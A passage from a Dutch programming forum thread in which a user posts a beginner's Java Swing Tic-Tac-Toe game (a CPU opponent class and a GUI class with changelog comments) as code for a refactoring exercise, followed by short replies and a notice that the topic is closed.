btn5.getText().equals("X") && btn7.getText().equals("")) return 7; else if(btn7.getText().equals("X") && btn5.getText().equals("X") && btn3.getText().equals("")) return 3; else if(btn7.getText().equals("X") && btn3.getText().equals("X") && btn5.getText().equals("")) return 5; else if(btn1.getText().equals("X") && btn5.getText().equals("O") && btn9.getText().equals("X")) return 6; else if(btn3.getText().equals("X") && btn5.getText().equals("O") && btn7.getText().equals("X")) return 4; else if(btn5.getText().equals("")) return 5; else if(btn1.getText().equals("")) return 1; else return 0; } public static boolean doRandomMove(JButton button) { if(button.getText().equals("O") || button.getText().equals("X")) return false; else { return true; } } } package be.kdg.view;/* Title: Tic-Tac-Toe Game Created: October 5, 2008 Last Edited: October 13, 2008 Author: Blmaster Changes: See Below... */ import javax.swing.*; import java.awt.*; import java.awt.event.*; public class TicTacToe_2 implements ActionListener { final String VERSION = "3.0"; //Setting up ALL the variables JFrame window = new JFrame("Tic-Tac-Toe " + VERSION); JMenuBar mnuMain = new JMenuBar(); JMenuItem mnuNewGame = new JMenuItem("New Game"), mnuInstruction = new JMenuItem("Instructions"), mnuExit = new JMenuItem("Exit"), mnuAbout = new JMenuItem("About"); JButton btn1v1 = new JButton("Player vs Player"), btn1vCPU = new JButton("Player vs Computer"), btnQuit = new JButton("Quit"), btnSetName = new JButton("Set Player Names"), btnContinue = new JButton("Continue..."), btnTryAgain = new JButton("Try Again?"); JButton btnEmpty[] = new JButton[10]; JPanel pnlNewGame = new JPanel(), pnlMenu = new JPanel(), pnlMain = new JPanel(), pnlTop = new JPanel(), pnlBottom = new JPanel(), pnlQuitNTryAgain = new JPanel(), pnlPlayingField = new JPanel(); JLabel lblTitle = new JLabel("Tic-Tac-Toe"), lblTurn = new JLabel(), lblStatus = new JLabel("", JLabel.CENTER), lblMode = new JLabel("", JLabel.LEFT); JTextArea txtMessage = new JTextArea(); final int winCombo[][] = new int[][] { {1, 2, 3}, {1, 4, 7}, {1, 5, 9}, {4, 5, 6}, {2, 5, 8}, {3, 5, 7}, {7, 8, 9}, {3, 6, 9} /*Horizontal Wins*/ /*Vertical Wins*/ /*Diagonal Wins*/ }; final int X = 535, Y = 342, mainColorR = 190, mainColorG = 50, mainColorB = 50, btnColorR = 70, btnColorG = 70, btnColorB = 70; Color clrBtnWonColor = new Color(190, 190, 190); int turn = 1, player1Won = 0, player2Won = 0, wonNumber1 = 1, wonNumber2 = 1, wonNumber3 = 1, option; boolean inGame = false, CPUGame = false, win = false; String message, Player1 = "Player 1", Player2 = "Player 2", tempPlayer2 = "Player 2"; public TicTacToe_2() { //Setting game properties and layout and sytle... //Setting window properties: window.setSize(X, Y); window.setLocation(350, 260); //window.setResizable(false); window.setLayout(new BorderLayout()); window.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //Setting Menu, Main, Top, Bottom Panel Layout/Backgrounds pnlMenu.setLayout(new FlowLayout(FlowLayout.CENTER)); pnlTop.setLayout(new FlowLayout(FlowLayout.CENTER)); pnlBottom.setLayout(new FlowLayout(FlowLayout.CENTER)); pnlNewGame.setBackground(new Color(mainColorR - 50, mainColorG - 50, mainColorB- 50)); pnlMenu.setBackground(new Color((mainColorR - 50), (mainColorG - 50), (mainColorB- 50))); pnlMain.setBackground(new Color(mainColorR, mainColorG, mainColorB)); pnlTop.setBackground(new Color(mainColorR, mainColorG, mainColorB)); pnlBottom.setBackground(new Color(mainColorR, mainColorG, mainColorB)); //Setting up Panel QuitNTryAgain pnlQuitNTryAgain.setLayout(new GridLayout(1, 2, 2, 2)); pnlQuitNTryAgain.add(btnTryAgain); pnlQuitNTryAgain.add(btnQuit); //Adding menu items to menu bar mnuMain.add(mnuNewGame); mnuMain.add(mnuInstruction); mnuMain.add(mnuAbout); mnuMain.add(mnuExit);// Menu Bar is Complete //Adding buttons to NewGame panel pnlNewGame.setLayout(new GridLayout(4, 1, 2, 10)); pnlNewGame.add(btnContinue); pnlNewGame.add(btn1v1); pnlNewGame.add(btn1vCPU); pnlNewGame.add(btnSetName); //Setting Button propertied btnTryAgain.setEnabled(false); btnContinue.setEnabled(false); //Setting txtMessage Properties txtMessage.setBackground(new Color(mainColorR-30, mainColorG-30, mainColorB-30)); txtMessage.setForeground(Color.white); txtMessage.setEditable(false); //Adding Action Listener to all the Buttons and Menu Items mnuNewGame.addActionListener(this); mnuExit.addActionListener(this); mnuInstruction.addActionListener(this); mnuAbout.addActionListener(this); btn1v1.addActionListener(this); btn1vCPU.addActionListener(this); btnQuit.addActionListener(this); btnSetName.addActionListener(this); btnContinue.addActionListener(this); btnTryAgain.addActionListener(this); //Setting up the playing field pnlPlayingField.setLayout(new GridLayout(3, 3, 2, 2)); pnlPlayingField.setBackground(Color.black); for(int i=1; i<=9; i++) { btnEmpty[i] = new JButton(); btnEmpty[i].setBackground(new Color(btnColorR, btnColorG, btnColorB)); btnEmpty[i].addActionListener(this); pnlPlayingField.add(btnEmpty[i]);// Playing Field is Compelte } //Adding everything needed to pnlMenu and pnlMain lblMode.setForeground(Color.white); pnlMenu.add(lblMode); pnlMenu.add(mnuMain); pnlMain.add(lblTitle); //Adding to window and Showing window window.add(pnlMenu, BorderLayout.NORTH); window.add(pnlMain, BorderLayout.CENTER); window.setVisible(true); } public static void main(String[] args) { new TicTacToe_2();// Calling the class construtor. // PROGRAM STARTS HERE! } /* ------------------------- Start of all METHODS. | ------------------------- */ public void showGame() { // Shows the Playing Field // *IMPORTANT*- Does not start out brand new (meaning just shows what it had before) clearPanelSouth(); pnlMain.setLayout(new BorderLayout()); pnlTop.setLayout(new BorderLayout()); pnlBottom.setLayout(new BorderLayout()); pnlTop.add(pnlPlayingField); pnlBottom.add(lblTurn, BorderLayout.WEST); pnlBottom.add(lblStatus, BorderLayout.CENTER); pnlBottom.add(pnlQuitNTryAgain, BorderLayout.EAST); pnlMain.add(pnlTop, BorderLayout.CENTER); pnlMain.add(pnlBottom, BorderLayout.SOUTH); pnlPlayingField.requestFocus(); inGame = true; checkTurn(); checkWinStatus(); } //----------------------------------------------------------------------------------------------------------------------------------- public void newGame() { // Sets all the game required variables to default // and then shows the playing field. // (Basically: Starts a new 1v1 Game) btnEmpty[wonNumber1].setBackground(new Color(btnColorR, btnColorG, btnColorB)); btnEmpty[wonNumber2].setBackground(new Color(btnColorR, btnColorG, btnColorB)); btnEmpty[wonNumber3].setBackground(new Color(btnColorR, btnColorG, btnColorB)); for(int i=1; i<10; i++) { btnEmpty[i].setText(""); btnEmpty[i].setEnabled(true); } turn = 1; win = false; showGame(); } //----------------------------------------------------------------------------------------------------------------------------------- public void quit() { inGame = false; lblMode.setText(""); btnContinue.setEnabled(false); clearPanelSouth(); setDefaultLayout(); pnlTop.add(pnlNewGame); pnlMain.add(pnlTop); } //----------------------------------------------------------------------------------------------------------------------------------- public void checkWin() { // checks if there are 3 symbols in a row vertically, diagonally, or horizontally. // then shows a message and disables buttons. If the game is over then it asks // if you want to play again. for(int i=0; i<8; i++) { if( !btnEmpty[winCombo[i][0]].getText().equals("") && btnEmpty[winCombo[i][0]].getText().equals(btnEmpty[winCombo[i][1]].getText()) && // if {1 == 2 && 2 == 3} btnEmpty[winCombo[i][1]].getText().equals(btnEmpty[winCombo[i][2]].getText())) { /* The way this checks the if someone won is: First: it checks if the btnEmpty[x] is not equal to an empty string- x being the array number inside the multi-dementional array winCombo[checks inside each of the 7 sets][the first number] Secong: it checks if btnEmpty[x] is equal to btnEmpty[y]- x being winCombo[each set][the first number] y being winCombo[each set the same as x][the second number] (So basically checks if the first and second number in each set is equal to each other) Third: it checks if btnEmtpy[y] is eual to btnEmpty[z]- y being the same y as last time and z being winCombo[each set as y][the third number] Conclusion: So basically it checks if it is equal to the btnEmpty is equal to each set of numbers */ win = true; wonNumber1 = winCombo[i][0]; wonNumber2 = winCombo[i][1]; wonNumber3 = winCombo[i][2]; btnEmpty[wonNumber1].setBackground(clrBtnWonColor); btnEmpty[wonNumber2].setBackground(clrBtnWonColor); btnEmpty[wonNumber3].setBackground(clrBtnWonColor); break; } } if(win || (!win && turn>9)) { if(win) { if(btnEmpty[wonNumber1].getText().equals("X")) { message = Player1 + " has won"; player1Won++; } else { message = Player2 + " has won"; player2Won++; } } else if(!win && turn>9) message = "Both players have tied!\nBetter luck next time."; showMessage(message); for(int i=1; i<=9; i++) { btnEmpty[i].setEnabled(false); } btnTryAgain.setEnabled(true); checkWinStatus(); } else checkTurn(); } //----------------------------------------------------------------------------------------------------------------------------------- public void AI() { int computerButton; if(turn <= 9) { turn++; computerButton = CPU.doMove( btnEmpty[1], btnEmpty[2], btnEmpty[3], btnEmpty[4], btnEmpty[5], btnEmpty[6], btnEmpty[7], btnEmpty[8], btnEmpty[9]); if(computerButton == 0) Random(); else { btnEmpty[computerButton].setText("O"); btnEmpty[computerButton].setEnabled(false); } checkWin(); } } //----------------------------------------------------------------------------------------------------------------------------------- public void Random() { int random; if(turn <= 9) { random = 0; while(random == 0) { random = (int)(Math.random() * 10); } if(CPU.doRandomMove(btnEmpty[random])) { btnEmpty[random].setText("O"); btnEmpty[random].setEnabled(false); } else { Random(); } } } //----------------------------------------------------------------------------------------------------------------------------------- public void checkTurn() { String whoTurn; if(!(turn % 2 == 0)) { whoTurn = Player1 + " [X]"; } else { whoTurn = Player2 + " [O]"; } lblTurn.setText("Turn: " + whoTurn); } //----------------------------------------------------------------------------------------------------------------------------------- public void askUserForPlayerNames() { String temp; boolean tempIsValid = false; temp = getInput("Enter player 1 name:", Player1); if(temp == null) {/*Do Nothing*/} else if(temp.equals("")) showMessage("Invalid Name!"); else if(temp.equals(Player2)) { option = askMessage("Player 1 name matches Player 2's\nDo you want to continue?", "Name Match", JOptionPane.YES_NO_OPTION); if(option == JOptionPane.YES_OPTION) tempIsValid = true; } else if(temp != null) { tempIsValid = true; } if(tempIsValid) { Player1 = temp; tempIsValid = false; } temp = getInput("Enter player 2 name:", Player2); if(temp == null) {/*Do Nothing*/} else if(temp.equals("")) showMessage("Invalid Name!"); else if(temp.equals(Player1)) { option = askMessage("Player 2 name matches Player 1's\nDo you want to continue?", "Name Match", JOptionPane.YES_NO_OPTION); if(option == JOptionPane.YES_OPTION) tempIsValid = true; } else if(temp != null) { tempIsValid = true; } if(tempIsValid) { Player2 = temp; tempPlayer2 = temp; tempIsValid = false; } } //----------------------------------------------------------------------------------------------------------------------------------- public void setDefaultLayout() { pnlMain.setLayout(new GridLayout(2, 1, 2, 5)); pnlTop.setLayout(new FlowLayout(FlowLayout.CENTER)); pnlBottom.setLayout(new FlowLayout(FlowLayout.CENTER)); } //----------------------------------------------------------------------------------------------------------------------------------- public void checkWinStatus() { lblStatus.setText(Player1 + ": " + player1Won + " | " + Player2 + ": " + player2Won); } //----------------------------------------------------------------------------------------------------------------------------------- public int askMessage(String msg, String tle, int op) { return JOptionPane.showConfirmDialog(null, msg, tle, op); } //----------------------------------------------------------------------------------------------------------------------------------- public String getInput(String msg, String setText) { return JOptionPane.showInputDialog(null, msg, setText); } //----------------------------------------------------------------------------------------------------------------------------------- public void showMessage(String msg) { JOptionPane.showMessageDialog(null, msg); } //----------------------------------------------------------------------------------------------------------------------------------- public void clearPanelSouth() { //Removes all the possible panels //that pnlMain, pnlTop, pnlBottom //could have. pnlMain.remove(lblTitle); pnlMain.remove(pnlTop); pnlMain.remove(pnlBottom); pnlTop.remove(pnlNewGame); pnlTop.remove(txtMessage); pnlTop.remove(pnlPlayingField); pnlBottom.remove(lblTurn); pnlBottom.remove(pnlQuitNTryAgain); } /* ------------------------------------- End of all non-Abstract METHODS. | ------------------------------------- */ //-------------------ACTION PERFORMED METHOD (Button Click --> Action?)-------------------------// public void actionPerformed(ActionEvent click) { Object source = click.getSource(); for(int i=1; i<=9; i++) { if(source == btnEmpty[i] && turn < 10) { if(!(turn % 2 == 0)) btnEmpty[i].setText("X"); else btnEmpty[i].setText("O"); btnEmpty[i].setEnabled(false); pnlPlayingField.requestFocus(); turn++; checkWin(); if(CPUGame && win == false) AI(); } } if(source == mnuNewGame || source == mnuInstruction || source == mnuAbout) { clearPanelSouth(); setDefaultLayout(); if(source == mnuNewGame) {//NewGame pnlTop.add(pnlNewGame); } else if(source == mnuInstruction || source == mnuAbout) { if(source == mnuInstruction) {// Instructions message = "Instructions:\n\n" + "Your goal is to be the first player to get 3 X's or O's in a\n" + "row. (horizontally, diagonally, or vertically)\n" + Player1 + ": X\n" + Player2 + ": O\n"; } else {//About message = "about:\n\n" + "Title: Tic-Tac-Toe\n" + "Creator: Blmaster\n" + "Version: " + VERSION + "\n"; } txtMessage.setText(message); pnlTop.add(txtMessage); } pnlMain.add(pnlTop); } else if(source == btn1v1 || source == btn1vCPU) { if(inGame) { option = askMessage("If you start a new game," + "your current game will be lost..." + "\n" + "Are you sure you want to continue?", "Quit Game?" ,JOptionPane.YES_NO_OPTION ); if(option == JOptionPane.YES_OPTION) inGame = false; } if(!inGame) { btnContinue.setEnabled(true); if(source == btn1v1) {// 1 v 1 Game Player2 = tempPlayer2; player1Won = 0; player2Won = 0; lblMode.setText("1 v 1"); CPUGame = false; newGame(); } else {// 1 v CPU Game Player2 = "Computer"; player1Won = 0; player2Won = 0; lblMode.setText("1 v CPU"); CPUGame = true; newGame(); } } } else if(source == btnContinue) { checkTurn(); showGame(); } else if(source == btnSetName) { askUserForPlayerNames(); } else if(source == mnuExit) { option = askMessage("Are you sure you want to exit?", "Exit Game", JOptionPane.YES_NO_OPTION); if(option == JOptionPane.YES_OPTION) System.exit(0); } else if(source == btnTryAgain) { newGame(); btnTryAgain.setEnabled(false); } else if(source == btnQuit) { quit(); } pnlMain.setVisible(false); pnlMain.setVisible(true); } //-------------------END OF ACTION PERFORMED METHOD-------------------------// } /* Future Plans: */ /* Changes: 3.0- changes below: Added CPU [Stable] 2.9- Added Label which shows waht game mode user is in. 2.8- Quit goes back to Gmae Options rather than Main Screen. 2.79- fixed bug: win count will not show 0 when New Game is started. 2.75- fixed bug: Players win count didnt change to 0 when New Game is started. 2.7- Player 2 name will change back from Computer in single player. 2.6- CPU name is constant to Computer. 2.55- fixed bug: Ad. CPU clicks middle spot if available. 2.5- improved basic CPU to Advanced CPU. 2.4- fixed bugs below... fixed bug: CPU crashes sometime. fixed bug: CPU does checkWin twice. fixed bug: CPU does not count as turn. fixed bug: CPU does not check if won. 2.3- added basic CPU (Artificial Intelligence). 2.2- Player vs CPU does random move. 2.1- removed unnessary code. more effienct. 2.0- changes below: Changed Layout [Stable] 1.95- fixed bug: TryAgain Button takes over Status Label 1.9- added Label that shows Player 1 and Player 2 wins 1.8- removed Try Again pop-up. Added Try Again Button 1.7- removed Back Button. Added Continue Button 1.6- fixed bugs below... fixed bug: Same name for both players. fixed bug: Names updated in game if user changes. fixed bug: Names are null if user presses cancel. 1.5- added function to set Player Names. 1.4- program more efficient/faster. 1.35- fixed bugs, added turn status to status bar. 1.3- added Status bar with quit button during gameplay. 1.2- changed theme. 1.15- fixed bug: one win combo not working. 1.1- added play again function. 1.0- changes below: (problems gone!) [Stable] 0.9- added back button, added comments. 0.8- added dynamic win message. 0.7- added game function- game playable. 0.6- changed menu layout. 0.5- basic functions with menu and nice GUI. */ /* LAYOUT OF THE GAME: THE WINDOW: (pnlMenu/pnlMain) pnlMenu: (THE MENU) pnlMain: (pnlTop/pnlBottom) pnlTop: (pnlPlayingField/INSTRUCTIONS/ABOUT/NEW GAME) pnlBottom:(STATUS BAR/BACK BUTTON) /////////////////////////////////////////////////--------------| / pnlMenu / | / / | /////////////////////////////////////////////////-----| | / / | | / / | | / / | | / pnlTop / | | / / | |- MAIN WINDOW / / |- | / / |pnlMain | / / | | / / | | / / | | / / | | / / | | ///////////////////////////////////////////////// | | / pnlBottom / | | /////////////////////////////////////////////////-----|--------| */ |
Alles in 2 klasses dus, en de klasses zelf

Duidelijk een opdracht inderdaad, veel te veel commentsSimon Verhoeven schreef op maandag 07 december 2009 @ 14:42:
Code voor een optionele opdracht waar je moet refactoren:
code:
1 ...
Alles in 2 klasses dus, en de klasses zelf
Verwijderd
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Ik zou zeggen, probeer het in De Devschuur Coffee Corner of open gewoon een topic.Verwijderd schreef op maandag 07 december 2009 @ 17:37:
Is er op GoT nog ergens een plaats waar je een Android/Web gerelateerde programmeervraag kan stellen? Het is maar een kleintje....
Kater? Eerst water, de rest komt later
[ Voor 50% gewijzigd door .oisyn op 07-12-2009 17:47 ]
Give a man a game and he'll have fun for a day. Teach a man to make games and he'll never have fun again.
Verwijderd
Dit topic is gesloten.
Uiteraard is het in dit topic niet de bedoeling dat andere users en/of topics aangehaald worden om ze voor gek te zetten. Lachen om je eigen code, of over dingen die je "wel eens tegengekomen bent" is prima, maar hou het onderling netjes.